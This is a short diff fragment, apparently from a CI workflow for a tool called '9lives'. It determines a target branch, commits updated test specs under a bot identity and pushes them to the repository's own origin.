|
|
121
|
+
target="$HEAD_REF"
|
|
122
|
+
else
|
|
123
|
+
target="$REF_NAME"
|
|
124
|
+
fi
|
|
125
|
+
if [ -z "$target" ]; then
|
|
126
|
+
echo "9lives: could not determine a target branch; refusing to push" >&2
|
|
127
|
+
exit 1
|
|
128
|
+
fi
|
|
129
|
+
git config user.name "9lives"
|
|
130
|
+
git config user.email "9lives-bot@users.noreply.github.com"
|
|
131
|
+
git add -u
|
|
132
|
+
git commit -m "test: 🐾 heal specs (9lives)"
|
|
133
|
+
git push origin "HEAD:$target"
|